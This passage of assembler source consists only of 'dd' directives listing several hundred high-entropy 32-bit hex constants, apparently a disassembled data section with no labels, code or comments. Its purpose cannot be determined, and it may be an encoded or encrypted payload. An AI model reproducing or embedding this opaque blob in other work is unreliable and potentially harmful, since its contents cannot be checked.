		dd 0EEE95405h, 0AE8B16A0h, 0D88B4692h, 814A01D0h, 9F566ACAh
		dd 0AEE2D822h, 2AE72012h, 7CEAA190h, 0B9C0120Bh, 9BFCA52h
		dd 760E685Ah, 8EB28D4Ch, 0B5F26F68h, 3F6EC70Bh,	0FD3C6582h
		dd 0DC36ABD5h, 1684A463h, 75D6D14Dh, 31946FB4h,	0F5DE1FC2h
		dd 3C59E280h, 759562AEh, 0BF8A1984h, 0A6A21967h, 257E64F5h
		dd 0B3063D4h, 81804B43h, 32B63BE5h, 1A602CA6h, 0F7405207h
		dd 0F42D3633h, 616AE23Ah, 5EA08C1h, 3688EF05h, 53884F7Fh
		dd 26C1F82Ch, 63AA175Eh, 0C914DCBDh, 2FC48574h,	0F70570FDh
		dd 0A8B259E6h, 7E090547h, 76942286h, 1F5FBA0h, 0D064D978h
		dd 9BC4E9h, 9C553868h, 0A5F60D1h, 0E59F5EE2h, 0C2C11B43h
		dd 0D71830CFh, 6ABCEE73h, 202F069h, 7A3551EBh, 2FCA40E9h
		dd 4BC979D7h, 0B6C997Fh, 0ED534674h, 9789C4EDh,	0CE193E03h
		dd 3706A48Bh, 56E6B509h, 97A86A42h, 0FBB9529Dh,	0B84A3E8Bh
		dd 8059D0A0h, 176808B9h, 0E181024Ch, 0D8B2748h,	0DFFB44C8h
		dd 41F3FC2Eh, 0FD772100h, 98CD0131h, 590881DBh,	0F33C623Bh
		dd 0EEC01B68h, 0C63D80F6h, 8B72A7DDh, 20F26C24h, 0F880DAA2h
		dd 0DD8295E1h, 0D1179A01h, 51680Ah, 0CF03F4C7h,	4B04E944h
		dd 76E09894h, 2608B559h, 0BF02ACEBh, 0C20AB16Ch, 874DF7E1h
		dd 0CFAE03ADh, 0C61D2785h, 0B09790FAh, 0B30C8265h, 0AA560B40h
		dd 294ACDEh, 0FC2F1C8Dh, 0EA01B585h, 9C03B74h, 606958FAh
		dd 0C729A008h, 0E924C462h, 5E928454h, 52217A12h, 0CC3BA92Ch
		dd 0C94F554Fh, 0F68433A9h, 0C936ECBBh, 31F3C27Dh, 0D8D150EBh
		dd 0C53FCE61h, 5B0261E3h, 93AC6E31h, 9B2CEBE5h,	405843D8h
		dd 7497F2B9h, 85CCA51h,	8707BD57h, 0C28243DFh, 0B15D5E4Ah
		dd 843FFCFAh, 96FEB0Ah,	0AC416481h, 5721473Eh, 20158602h
		dd 20B0C013h, 0E9DAC501h, 633D9DB6h, 0E4245E00h, 63892511h
		dd 0D17B7D01h, 0CAF0E9E0h, 67CEAF88h, 2F74173Dh, 83872C35h
		dd 0F5E002A5h, 4A0DFEBAh, 1BCE0109h, 782E1070h,	3FA04AD3h
		dd 0DE0BA2EAh, 2DA70F2h, 0C17C939Dh, 0A7933CF1h, 452E0488h
		dd 188D10B3h, 0E2E98E98h, 0BB5F18EDh, 20B10C4Ah, 0AC9E33EAh
		dd 24154824h, 93EE3BB5h, 0F957B8F2h, 719F80BAh,	9790D728h
		dd 0E866CA26h, 1202C46Ch, 0BEE5FE93h, 0A03186E5h, 8E56052Bh
		dd 0E431EF66h, 68101FEBh
		dd 0D4976B01h, 77E44F3h, 0FED4585Bh, 0E9188C83h, 0DE3055BBh
		dd 3B326407h, 395CC351h, 6BB8314Fh, 0BB35E9ACh,	93FE2EF0h
		dd 8239352Bh, 0C138C13Dh, 1405FEE4h, 0AB06B353h, 2DCB4432h
		dd 1378B9BAh, 5AD70102h, 98BF921h, 5005722Bh, 0CD6DD84Bh
		dd 1A4F343Eh, 65E5848Dh, 0FB0186BAh, 0C840D851h, 0B112D68h
		dd 57495CD1h, 6862D9FBh, 61807C1Fh, 205D5855h, 0D94CAD05h
		dd 77E4D3DDh, 31554097h, 0AA35EF77h, 0E2BBE548h, 10A2587Eh
		dd 0C10B6B4Eh, 0CE0412E8h, 50550094h, 5840585Dh, 0E74D7395h
		dd 96A80A14h, 4AE94E8Eh, 6FF22300h, 784ACD55h, 0C84E18ADh
		dd 5697455Fh, 685F4117h, 3E133F41h, 4EBACBBFh, 40D1F5E4h
		dd 4C05BAA9h, 5320030Bh, 8F1D180h, 822B5F9Fh, 0CB85D13Ch
		dd 6B20E137h, 0CA4A07F7h, 286A10E4h, 4BF7433Dh,	9FA7FC3Fh
		dd 260FE583h, 0AF47E73Eh, 9BEF160Eh, 0EFE91602h, 6FD34085h
		dd 0A239F637h, 0B967F792h, 58221C2Fh, 3B895AFDh, 0C9848729h
		dd 21B0167Ch, 0F32F1276h, 96E1A845h, 0A08C91AFh, 54F9147Ch
		dd 0E5545E89h, 223DCE82h, 0F6C9C0BCh, 4E169828h, 4081F156h
		dd 972666ACh, 4B0E3258h, 0CD312A04h, 7BB2F1AAh,	0FED929B0h
		dd 0A4725A28h, 0A9C42901h, 28AA9EE2h, 0F00BF1F7h, 55FF2BF4h
		dd 21A2441Ch, 0FD884FFh, 0A9B5CC0h, 302A4151h, 0DE98F26Bh
		dd 0E9CE970Bh, 5828C1A3h, 0BA12F130h, 525B3F66h, 5682A517h
		dd 55ABDF3h, 40D8691Ch,	0E9A3C0AFh, 30CB9C43h, 0F3E700D1h
		dd 7D2867D4h, 9F052747h, 3E5A85E9h, 5F3F88E9h, 0BEF52E16h
		dd 4E7EA8CBh, 4A200EFAh, 0B4EA35C4h, 1D19CDD3h,	9D667A8Ch
		dd 176C12D0h, 0A433D8E9h, 742825C6h, 0EC20F467h, 0D97295A5h
		dd 0C827E56Bh, 803CD7F8h, 51484859h, 0EC9057Dh,	13D42DB0h
		dd 0E85BF8F8h, 0AC7F1D08h, 5008BE93h, 400D0130h, 6E7C0A12h
		dd 0DA255580h, 24AF2522h, 0E00545C0h, 7C4B5CFAh, 0CBF136C1h
		dd 1218CA6Ah, 84F77EC9h, 0B2032D7Bh, 646E3149h,	6B0F0528h
		dd 4665A540h, 0F4D6AF4h, 20F68EEDh, 6015EC36h, 9F3E7FC6h
		dd 0CFA9028h, 3339493Ah, 180D7E0Ch, 2A31C9BBh, 0BF560C30h
		dd 2182D4F6h, 5D5B8575h, 3143677Ch, 5BF193CEh, 0E420508h
		dd 0C232BEB5h, 2DD8F622h, 0ACA28F1Ch, 9408CA08h, 0B170E3C1h
		dd 63A8238h, 5E5D67CBh,	0E911B0E7h, 4E9D7B86h, 0BC17CE9h
		dd 4CF0680Bh, 0F68B6F99h, 4B98FBDDh, 5F6952D9h,	299B028h
		dd 49B42982h, 0D0E2F789h, 607CAD00h, 0EFEC6D0Ah, 0B3475909h
		dd 0F1A8576Fh, 605D1708h, 224A68E0h, 0AFC04CABh, 444FF369h
		dd 4D96E707h, 7F2D0C50h, 3E092845h, 6036E887h, 0BCE3749Eh
		dd 9D90C142h, 4F3DE20h,	71A1D68h, 0BF8B87Bh, 824258C9h
		dd 0FFBD309Fh, 826BB394h, 1C945717h, 2F2617B7h,	5DC5B25Fh
		dd 1D09A779h, 224E7F7Ah, 62485195h, 0B0C68D64h,	0BFF58AF0h
		dd 91471697h, 0B96E53E1h, 3BADE47Fh, 8C6C9717h,	546A51FAh
		dd 0B52EACD7h, 0CBAB4A3Fh, 78B9D3E3h, 372E6809h, 0B462905Ch
		dd 0B5CE7552h, 59EE916h, 68280AA2h, 5B419829h, 5D4B22D9h
		dd 80E8EE57h, 305CD6D9h, 6F0C3B2Ch, 274A7321h, 81A8794h
		dd 0E914010Ch, 68323D89h, 0C77A2A04h, 0B1C4C422h, 872E6B98h
		dd 0B841AA5Eh, 85D6E918h, 1B82287Eh, 4EFED44h, 0FD2BB6AEh
		dd 0B42AB831h, 0EA5C04C2h, 0A750F45Ch, 7BEA91E8h, 0E79031F0h
		dd 4F3BAC13h, 26835206h, 0BCB23C3Bh, 0FEFA4B12h, 78F86FD1h
		dd 0E52D5A00h, 3C1541Eh, 0F6C74FCBh, 1FBC893Eh,	4B98DDC4h
		dd 72661027h, 16C27785h, 0BB137245h, 0E23E1ED9h, 0BBE98220h
		dd 602C86B0h, 0E55D4B99h, 41F47A4Dh, 0C8E00B0h,	34D8F6F4h
		dd 0C34F2090h, 977E06B0h, 3DCB4EC8h, 813E3ECh, 71A826E9h
		dd 0D8E1604Ch, 54C00457h, 9E84408Dh, 0C99B0B13h, 94E1879h
		dd 4144DEBAh, 2F06EE68h, 0E42B548Dh, 0F95BE9F7h, 0EFFA784Eh
		dd 0EB03D121h, 6CA20144h, 3052C399h, 0CFE80EE9h, 9BA3B3Ch
		dd 7EA87153h, 8A422DD4h, 728404FFh, 0E71098AAh,	30BE834Eh
		dd 2D716806h, 337E597h,	5E8EE95Dh, 0ABE6EB84h, 0D94BD618h
		dd 0A1C07949h, 61772EEh, 0B2B7F639h, 82D69769h,	0AE8CD27Eh
		dd 2C2E48B5h, 0DB29E9F8h, 0ED63B1BBh, 0EF170317h, 16E022B0h
		dd 0FBB5C5DBh, 92B75B4h, 574ED65Ah, 0CD278E6h, 0F75763ABh
		dd 71319DFCh, 0E06A6058h, 0A443C74Fh, 3BDEF606h, 0B409800Bh
		dd 25621EE9h, 86314FDDh, 1F4814E9h, 8B83EB1Fh, 0E901C917h
		dd 4B4912CCh, 8236B37Fh, 0F70B212Dh, 827E14E9h,	0FE10EF6Dh
		dd 0F004F5D6h, 0AE1392h, 8921165Ah, 0CB018117h,	6FCD4186h
		dd 4BDACFE9h, 2EF6B192h, 5B40B22Eh, 0A658D0B8h,	0F72F5720h
		dd 56CC25D1h, 0A54AEEFCh, 36EF2061h, 30DD4D12h,	5FCC3611h
		dd 5AC4CEFh, 261292DCh,	0C7ACCAF9h, 3F920D3Dh, 0BD3A018Ah
		dd 6B6E70CBh, 0D4017213h, 435B2E39h, 0C908D364h, 8C030306h
		dd 5E2451FDh, 0B7A62B5Ch, 614EF400h, 622D3Fh, 251F3A6Dh
		dd 26320249h, 2AB1E912h, 8BC45FE2h, 5272BE1Ch, 818E0921h
		dd 59277648h, 92C049B6h, 0BC55648h, 0B1E93074h,	11B6E77Dh
		dd 0E913240Ah, 82F8CFD7h, 34D4A5E5h, 0D17968D8h, 74FC999Fh
		dd 0E974F07Bh, 278B7D24h, 0B69DD953h, 7AC33001h, 0A21538Dh
		dd 0EB9944CCh, 0E366256Ah, 0B1683BECh, 3D4A477Ah, 0DE17FD32h
		dd 82CDBBBAh, 0D78AED7Eh, 4C4BDABAh, 2C490564h,	0CD001CC1h
		dd 7A7E12E9h, 1D090935h, 87DD42D2h, 92D3412Ah, 0AC6C5A80h
		dd 70631073h, 92B98950h, 0B2AC4B9Eh, 0AF05D25Bh, 89CBCD9Fh
		dd 8872CC12h, 40F257B2h, 0BE273B5Ah, 13BB4284h,	0A0C6ACC0h
		dd 99051168h, 0AFCAB0C6h, 3401C437h, 6A5DC981h,	0BA933EFFh
		dd 7E8EE1F2h, 3EE1C2BCh, 0D59EAEAFh, 0B2033924h, 0C807E479h
		dd 56B868CFh, 8E0BF43Ah, 3507A36Eh, 5C17384Ch, 1DA51413h
		dd 0D61AF2F3h, 33054FF8h, 0F039AF1Ch, 0ED948304h, 0C55AD0FEh
		dd 2A3B4276h, 84F5036Bh, 40A0224h, 0F2461518h, 0CC040141h
		dd 407E8B37h, 3F18F39Bh, 0E4FF74C0h, 8C1F9D7Dh,	0BB6C53FEh
		dd 3B23A905h, 0F8B021EBh, 295F0126h, 201A40DAh,	67832639h
		dd 4132285Fh, 5CF67FC4h, 4B038B5Ah, 0F7882FE9h,	7BD3C12h
		dd 55A9BC4h, 35BF0968h,	402513A0h, 2100D46h, 50743F5h
		dd 280AFD11h, 0DE85BF4h, 19C26F81h, 9826BD0h, 37B2D501h
		dd 97AECC5Dh, 0CD37C622h, 0CB267457h, 0FDCC89C0h, 8B7FDA89h
		dd 0D95E2F50h, 0E66861DEh, 86617867h, 3F2C478Fh, 515D231h
		dd 533C0E77h, 53C8A1BFh, 0F102B2D4h, 400D4C19h,	9B146BF5h
		dd 58ECBE07h, 6E812D94h, 3B7AA02Ch, 0B2074784h,	11953854h
		dd 0F25A6BDh, 7B5535E2h, 58E9C2ABh, 0CCFD82F0h,	453D8813h
		dd 4CABBF5Ah, 0B0AAE40Ah, 192F7815h, 8226FA67h,	5683C007h
		dd 58B08655h, 75D9762Dh, 5F2D3B90h, 0B0DA4B9Fh,	7CEC19E4h
		dd 0C55D3047h, 0BF54C2E3h, 7BBA507Ch, 35526831h, 2B2C06E9h
		dd 974A35Eh, 0F53B8C68h, 0BD66B61Ch, 2D1C2018h,	0CADB8BEFh
		dd 1C02E984h, 0BE5E54B3h, 0E909FA2Bh, 987E25DDh, 14E438C3h
		dd 0CBDBF7EAh, 137A9102h, 87220906h, 6BD1DDCCh,	2918C5C8h
		dd 4A0CD6Fh, 0F75E203Ch, 4C02B8D5h, 5E102FCh, 0D7094FCBh
		dd 0B202A7F8h, 299F3977h, 0F6E277EEh, 0B3274646h, 10D2798Fh
		dd 0E9107305h, 8927D720h, 5E5AAB7Dh, 928AD08Bh,	22EE2ED6h
		dd 25FAB2C0h, 0AE42ED05h
		dd 59ECFB4Bh, 60C1BC4Fh, 383319C0h, 9B6C90Bh, 3F3528Eh
		dd 74D48544h, 0E648B8FDh, 2997405Ch, 5425D177h,	257BC66Fh
		dd 0E2797DD5h, 7CB7773Ch, 825A4598h, 657839D1h,	5489D0A7h
		dd 5B35F7Eh, 3FC57DC2h,	68EAD98Bh, 80A1303Dh, 0C2B6852h
		dd 0E601B167h, 0DE3070B6h, 4687B06Bh, 0B6E5C028h, 0F857C525h
		dd 18C09797h, 0EDF65BFDh, 0B652DB03h, 5A1EE96Dh, 12FBFD65h
		dd 63A44BD4h, 30E1E5Ah,	0C570D202h, 0B2C0FBE0h,	1FA696Dh
		dd 67F6810Dh, 7F219139h, 9C4331A4h, 0B8BB030Ch,	0D1E91022h
		dd 7DA70E3h, 91E94B13h,	60050A43h, 5016E808h, 0BB580259h
		dd 0ABE0CE8Bh, 0CE087F6Ah, 843542B9h, 0B8EB8309h, 2D4003A2h
		dd 0D3D09B0h, 543ACDA8h, 78CB134Ch, 0E2C04828h,	7DFB7F5Eh
		dd 0A3F09BB4h, 41D08228h, 0A56629F2h, 0AA05B316h, 7FE9AA02h
		dd 0C2455648h, 32AFA457h, 7A6BD04h, 94F2D731h, 50B476C8h
		dd 68BDD190h, 82C3F23Eh, 0B78BC82h, 2B14C220h, 5F530FA9h
		dd 0B7CBF201h, 62BEAA60h, 3186B12h, 0E9C595B8h,	283EF016h
		dd 2C72D0B0h, 0DDF9E8E0h, 71533A8Dh, 8E524453h,	3A521213h
		dd 982C29B9h, 12B88535h, 0E8E88421h, 42405B19h,	926456C5h
		dd 13017646h, 0C0D0E951h, 156625D3h, 1279843Dh,	8564D20Eh
		dd 77AE7BC5h, 0D27BD47Fh, 4F5DD94Fh, 8CA53A65h,	70FEED48h
		dd 9F954EB5h, 70E5ECF8h, 995F6C73h, 0C7C03264h,	4B197566h
		dd 4D7F9817h, 0AC61118h, 4EEB278h, 0B5E9F539h, 82CF91A3h
		dd 0CF0B3862h, 0C50351BEh, 0F976EEBBh, 6CE4F3D9h, 25E6905Fh
		dd 0A91FD90h, 9BA63E96h, 6B720A78h, 0C195948h, 0C9597067h
		dd 45540C0Ah, 389D8627h, 3C0C3B58h, 0E6DD17FBh,	0B291BB29h
		dd 0D16B9943h, 2EAD7421h, 0A1C38A6h, 947F2543h,	107C5971h
		dd 98E2A02Dh, 0BAAD6775h, 22E197B8h, 6E88652Ch,	5B7B52CBh
		dd 0FADA98D7h, 79A302BFh, 277D6D5Dh, 0E7600AF9h, 0B856272Eh
		dd 6C90B529h, 1A27B1CBh, 44866041h, 6DA53562h, 240E99Ah
		dd 473FFCE7h, 79F5E04Ah, 7DAE1640h, 3F60E131h, 0E9C2318Bh
		dd 39D56427h, 0C8AD58AFh, 0F45710C2h, 0C8BBE0B9h, 69090156h
		dd 89C1D3F7h, 712B810Fh, 0CB418A30h, 0A780F11Ch, 0E77ECAF5h
		dd 0F5F989EFh, 508D2CA3h, 0D07D325Ch, 978CFEAh,	0AC3FEF24h
		dd 252D8908h, 0E51D4075h, 0AE90C966h, 31ADF4E0h, 2C1FD84Ch
		dd 5C4BA1C8h, 69AC0718h, 9EABFFB8h, 0ED24C9FAh,	52654377h
		dd 0E914D8FBh, 706D0538h, 957F1EBDh, 1BE32776h,	0E9468176h
		dd 0B23FB6D5h, 97688463h, 34E989B0h, 0FB0A9CC7h, 0FCE2AE97h
		dd 0F7FFB01Ah, 494B0641h, 0B50DF1E9h, 262DF798h, 9D259425h
		dd 9E160202h, 0CE23807Fh, 0B078BC42h, 849A490Bh, 1505B16h
		dd 0D90E2252h, 71F0DF46h, 215BF50Dh, 5B4C68BCh,	0B97D8B07h
		dd 36EE6301h, 89255DB0h, 53B82095h, 12168E60h, 0AAA4AFE9h
		dd 0B3053139h, 955A2DB6h, 7198AC5Ch, 6B717312h,	0D5B8DE80h
		dd 0BD9213D8h, 4CBECB29h, 5A1E4D58h, 25162AF9h,	1C1DF3A9h
		dd 5F380FF9h, 0FC8448E9h, 42530CA5h, 0CC0CD2A1h, 79BDD7AFh
		dd 0E8BC120Ch, 8CA35EF5h, 2F556F7Bh, 3511F760h,	894F6A0Ah
		dd 59CAD804h, 0D8D93587h, 0EBBF0CD6h, 0E77A2A02h, 0B5148F63h
		dd 70A1BA7Ch, 0DE3505BDh, 0C23A533Dh, 5FE4B42Dh, 0FF06505Eh
		dd 0F852FE29h, 84688022h, 5DF83F0Bh, 0B949F65Fh, 0BBF07B8Eh
		dd 0B955C116h, 42BF0084h, 30B8300Fh, 344E3924h,	0DB86160h
		dd 0B0CF83C1h, 295F2774h, 7BA5CB45h, 0E6A549DAh, 4F36931Eh
		dd 17415E04h, 0D1AA77B3h, 6F53D681h, 4B38468Dh,	476B0B0Fh
		dd 0EA360CE4h, 0F7ED495Fh, 24DA9C9Ah, 0D7CADD2Ch, 0A6D988Ch
		dd 681DCD5Eh, 4FC712CAh, 85AD8CAEh, 0D8A07E27h,	0AD8B859h
		dd 45EE80D2h, 29E439BFh, 0EB294471h, 1C0904ABh,	73A3829Eh
		dd 55BB9BE8h, 609B4C1Eh, 7E3AB7CBh, 54DE67DCh, 0B1E8AFF1h
		dd 1327E9A8h, 88A9F9F1h, 0FC27A798h, 0ED4804C2h, 0CE40BF03h
		dd 0A1F0E626h, 0C1218031h, 5C55848h, 28241DC9h,	0E1ED6384h
		dd 189EEB03h, 0ABDF3C09h, 0EF1CAB51h, 6B76AACFh, 0BBFAA8EBh
		dd 0ED4E5403h, 7E220540h, 0A823AF27h, 59AC0EB6h, 0DF892426h
		dd 3189EBA2h, 70697471h, 35760F5Bh, 0CDA13685h,	3EE35F2Eh
		dd 40147201h, 0C824957h, 3DEB38A9h, 358FBE2h, 66E6B201h
		dd 0B1515350h, 3A2AD370h, 996CF30h, 0C89AEE9Bh,	3BECE90Bh
		dd 1E25445Ah, 50BB747Bh, 6D12C9C6h, 0ED1C731Dh,	0C7313BA0h
		dd 81EB03AEh, 4927DFBFh, 0AB34575h, 60D0E131h, 0C6164868h
		dd 404B2A7Dh, 2DBE3800h, 0F4093F45h, 2F37BCA5h,	0C30FA6F2h
		dd 0F25174EDh, 0E9BE9CEBh, 2FD23535h, 0EE6F82ABh, 257E6F75h
		dd 0CF1F2EF6h, 0D926D062h, 0E841960Eh, 6BD4BDE0h, 315A0528h
		dd 408F51F0h, 2EED5345h, 0FB4612EFh, 8B6E8A39h,	7FDF042Ch
		dd 0FDAA4655h, 0FEA0601h, 90C786Ch, 57307392h, 8912B974h
		dd 97798AFDh, 9876947Fh, 95D6F4B7h, 4A06B3DFh, 0F789AEF3h
		dd 50EBEA04h, 0D727EAFBh, 15D096F7h, 0A571B368h, 4E41F025h
		dd 0DE407B05h, 0AFFB355Bh, 0A0544B52h, 55915353h, 5F18E368h
		dd 0BF26ED4Fh, 740B2599h, 2881BB1Dh, 0D04B822Fh, 0B0A63055h
		dd 0C7344CA9h, 0EFACC516h, 0E34048D9h, 0B0FC36A9h, 3D9A2D7Ch
		dd 3A2D8119h, 4E8F2313h, 0FF02E91Ah, 0D22B51DDh, 0F7C11856h
		dd 8D6A53F9h, 0AFA66036h, 40E110E5h, 0FE30A18h,	2DBD1F7h
		dd 39F57803h, 9D2860DDh, 93C9B5BDh, 5FC1AD96h, 6C4A5494h
		dd 0F743D4C0h, 0B0E2B8DBh, 62A20218h, 0F3213F90h, 9361ED8Eh
		dd 2550D513h, 54852F51h, 1F7B84AEh, 0F8A6BA96h,	0A9E2135Ah
		dd 0BA520173h, 4F977183h, 967311F0h, 0FE306211h, 0D08CFF0Fh
		dd 3F800CBCh, 82197AF5h, 70B94506h, 3F2619B2h, 55725929h
		dd 23136FA8h, 6E0BAD11h, 205994D7h, 0C2956A5Ch,	2FC557F0h
		dd 0FE2723A8h, 76927575h, 0AA825FF2h, 3D1053FFh, 0AC6DA493h
		dd 652ACDFBh, 39C5A900h, 0B4554E85h, 11CFCAEDh,	0C2EC3701h
		dd 2AF352CAh, 0A22D055Eh, 0B9C80FE5h, 35200BE9h, 3A1907E7h
		dd 4607548Bh, 510B868Dh, 0F661D168h, 8F167AD0h,	4668500Bh
		dd 880A5923h, 0D42844A5h, 0D3555h, 765521E8h, 0B0801864h
		dd 2DA22CBAh, 69375109h, 1BD5850Bh, 0E6D853ECh,	7B97015Ch
		dd 2F6DA8C6h, 47EC7F2Eh, 0D3776D2Fh, 0E6A43A79h, 0ACE58F14h
		dd 0FC114A05h, 0A3AAC1B7h, 0B12F869Eh, 0D0313F01h, 0FDD55F56h
		dd 0D247A92Fh, 0E338B104h, 0AEDD8704h, 0F53A61D0h, 31651755h
		dd 4D20BFE9h, 5A28BDh, 0F581390Eh, 7AE223D5h, 7673729Dh
		dd 43EC2D01h, 9181C5Dh,	3DA0685Ch, 9889479h, 1B923E1Ch
		dd 920FE21Ah, 40C128B4h, 34A68A4h, 27425814h, 2F095180h
		dd 4073907Ch, 1308F378h, 0B3D4Ah, 0B678BBA8h, 7ABFF4C2h
		dd 0DC80B5E3h, 220C7256h, 0C650F990h, 63B55807h, 4E7510EDh
		dd 0DA871326h, 9E31170Eh, 0FFA119CBh, 0CF241144h, 0C1C9BD59h
		dd 326E2DF0h, 429CFD0h,	6F842C2h, 94F7B902h, 3141C0C2h
		dd 4931025Dh, 162EE44Ch, 0D130477h, 95A91783h, 2727E10h
		dd 60083E68h, 6B3F563Ch, 0DF188957h, 6580BD4Ah,	714D3D50h
		dd 0DEB7DAF4h, 0D14AE19Bh, 74097BE2h, 5D46623Ah, 68E190F1h
		dd 0EB4D0BD4h, 3DAFF840h, 0B81A1A9Fh, 3C10BABh,	0F97E5Eh
		dd 0EC34518Bh, 45A3C30Bh, 950A7062h, 1834B55Ch,	0E9C8E0AAh
		dd 2A4575FFh, 908384CCh
		dd 5712C145h, 2B5D5405h, 620BC8F9h, 0AA5F7167h,	3E0BBCC9h
		dd 0E6BE9022h, 6E69D04h, 0FB31E095h, 40FE9CF2h,	108D6857h
		dd 2D4C473Fh, 7D988967h, 0DAF268F8h, 658D295h, 15551DF2h
		dd 10030C7Fh, 0E90D209Fh, 96516460h, 4B0EFC06h,	1E7AE2Ch
		dd 2949D7DBh, 70315EF5h, 0D54BE957h, 66051C82h,	0C1235E34h
		dd 7ADE280Eh, 12778A9h,	0ADCDA475h, 784AB0BCh, 933E982h
		dd 0B1AD3CC0h, 442B16C7h, 95B6D2DCh, 906D1210h,	511BF7CEh
		dd 0E8018D2Fh, 95ABE36Bh, 91D28898h, 1C0FD0ABh,	64B8FCB9h
		dd 0C5A94B37h, 0D17A1E07h, 911CB36Bh, 0C480160Eh, 58E707A8h
		dd 0C9866F6Eh, 4219C153h, 0CB038420h, 0C9D4EBCDh, 0BC4B82A0h
		dd 524DDCABh, 0D309DD97h, 0ED145F7h, 0FE1669E1h, 95525F38h
		dd 0A0F8147Fh, 808F05E4h, 31630C68h, 5725D4Bh, 7F20EFE9h
		dd 0C79000E5h, 50E7286Fh, 83B8529Dh, 141C4108h,	470D096Bh
		dd 5B7F4AD8h, 0E369F495h, 0A8B429E9h, 7845DE7Fh, 85AE578Bh
		dd 0AEF3BFC2h, 808AFE4Bh, 6A367299h, 0C810D5A3h, 3F681CDDh
		dd 575AC566h, 0D350B482h, 4FB84EFBh, 96CA6359h,	3E4A3013h
		dd 412731FAh, 68F23B70h, 3EBB149Fh, 0AB13AD12h,	0A458E563h
		dd 801DB700h, 0C007CACFh, 0D7F604E7h, 5D44A98Eh, 9E3FB666h
		dd 58542E52h, 0D712B42Ch, 5E7AA8B6h, 0ABA11210h, 0CF2EABE3h
		dd 0A65B975Fh, 0EF681397h, 0BEC861BBh, 328E2F65h, 9D7DD540h
		dd 0BF1D8F7Ah, 10E3F92h, 9006F2FEh, 271CA7D1h, 0BB91055Ah
		dd 4C776C4Bh, 0D13D7628h, 82C612E3h, 51F0EA41h,	0C8C052B1h
		dd 17042D59h, 482C4F98h, 41226660h, 0B79AEFE9h,	8BF29323h
		dd 34AA0A81h, 0D64E684Eh, 0D36CE8h, 0C227498Bh,	45FA5808h
		dd 0F8FC0DDFh, 0E92F65B2h, 206D0B9Fh, 0A5BD552Ah, 70563F34h
		dd 68C5C378h, 0CD1A2ED0h, 75E3B30Eh, 9AA1F7E4h,	1D2F111Fh
		dd 342A8B3Eh, 3FF8DE01h, 9176E9C4h, 0DC575A51h,	90BE9F4Dh
		dd 4864FD89h, 3D4ACA2Dh, 0C99329BAh, 0EED5357Ch, 55218DC9h
		dd 0C42F2EC0h, 0CA9D4C3Ch, 0BF570286h, 60786AC7h, 80E12AEBh
		dd 7B95EA83h, 52554993h, 0EA811DF6h, 30ACC158h,	4D036168h
		dd 1BEE30B3h, 29ABB1BFh, 955BBC6Ah, 15CA4E2Bh, 0E6303D4Ch
		dd 1276F561h, 8906DA12h, 152FF2EBh, 5FCFB7C0h, 4864B806h
		dd 2EE17F7Dh, 47399C20h, 0C15DFB02h, 0F33E5C9Eh, 0B5CBA14Fh
		dd 79DFA905h, 0D993382Ah, 794EE5Ch, 4BCD7A03h, 54BF176Fh
		dd 0F5031466h, 68720104h, 0A2FC03E2h, 0FB7DF66h, 63696C05h
		dd 0CC58FF74h, 31E90840h, 3024C221h, 0EBDD6EE8h, 5B0144F9h
		dd 0E0B07FD1h, 149716A6h, 0AD12FAFEh, 0C4A7A2EAh, 98BBCB89h
		dd 42974EDBh, 0DD37D7Ch, 6D226861h, 4CD9DFC2h, 55D56689h
		dd 62009CC4h, 81684119h, 2F0158CAh, 0EC690C38h,	0AA805617h
		dd 45729A09h, 40D00053h, 0B75BE551h, 0C517B878h, 90BBC044h
		dd 0A92DC3F1h, 13EBE44Eh, 134EAADEh, 7F9053h, 3D4154A1h
		dd 776E1B0Dh, 0BE01357Ah, 0E9893936h, 0F12C9EB8h, 4F23B892h
		dd 75D427A5h, 395C2427h, 7D610BF2h, 2C385969h, 7F2099Ah
		dd 0CA4255FBh, 0F2269167h, 0F84B134Fh, 3E587858h, 50004C35h
		dd 820D0549h, 6997285Eh, 9FACEBAh, 9776E482h, 0FA5E10F7h
		dd 7CA27B71h, 0F9F49D6Dh, 0D15377C9h, 0E9FBD6AFh, 0BBB9F1A0h
		dd 2F7AC146h, 0EE849A2Dh, 97B3F628h, 0C245FC85h, 0BE001FFDh
		dd 48EB0684h, 0DE026760h, 3157F0A4h, 0C401A942h, 0CBD21C44h
		dd 16FF0C4Ah, 72F40C0Dh, 600BF2BFh, 4569E2Dh, 5F07890Dh
		dd 0AD5D7421h, 0F67F84F7h, 0B413D514h, 30C8FBB1h, 2914A9EFh
		dd 0EA26176Eh, 6913B02Eh, 0D39B297h, 0AC2A3F59h, 4D03EBF4h
		dd 0F079FFD7h, 1B5024D8h, 55980B7h, 2E5F405Eh, 393F2D5Ch
		dd 0E84C7DF0h, 5C8125A4h, 8774EAD7h, 9324668h, 0BA957B7Fh
		dd 0FA285792h, 5F4F2ACCh, 47D54248h, 0E8C0B94Dh, 0C69DE38Dh
		dd 7BCF2717h, 765A7971h, 0EA6A4406h, 242C098Dh,	0A6659412h
		dd 756C6258h, 3C105A6Bh, 11AD7B9Dh, 2C5EB84Ch, 0CEF671EAh
		dd 9368261h, 60835FFAh,	5B85045h, 7DF87ED2h, 1918129h
		dd 4AB60D5h, 0F7F2455Bh, 34E921D8h, 0AD2C3F41h,	0C990E51Eh
		dd 48601335h, 7B78008h,	0F0629A7Fh, 822CC147h, 7A1EB63Bh
		dd 4E27262Fh, 0C98102F0h, 5AC5672Ch, 60205857h,	6E61659h
		dd 0F1EC2907h, 0C8A2920Bh, 0F941DFB1h, 56E46AC6h, 0E9DE0B01h
		dd 771AA09Dh, 25CA1675h, 0CE0B2DE9h, 5E2A16DDh,	1070BE2Ch
		dd 0C5465168h, 0BB6544BBh, 8E5024B6h, 792BC40Fh, 1D0A33Bh
		dd 3CBD0EACh, 9F30E6C1h, 2F7C9CEFh, 0DB398256h,	0E93F94C9h
		dd 15A6C72Ah, 0ADC4F70Bh, 9560E820h, 34A99CD7h,	0AF208AE0h
		dd 0D0126AA8h, 7A9CA760h, 1BCC5A4Fh, 0D900105h,	0F0292F0Bh
		dd 0E907412Dh, 48F67881h, 285550D6h, 66BDDAACh,	712F20E4h
		dd 0EF815698h, 2EE225BEh, 0ACBB3E24h, 12DA3DF0h, 0B2BB777Dh
		dd 68598162h, 0AF666E74h, 0F41010h, 0DC110BBFh,	0B0FE2972h
		dd 63EE4801h, 0F06A0B41h, 9869713Fh, 0B213094Fh, 79F68483h
		dd 515EE902h, 5BF3B9D7h, 48D2A330h, 5DCDE7E1h, 21C7611Dh
		dd 0DA82E39h, 2279E84Eh, 5344C96Ah, 9D70465Fh, 87851F76h
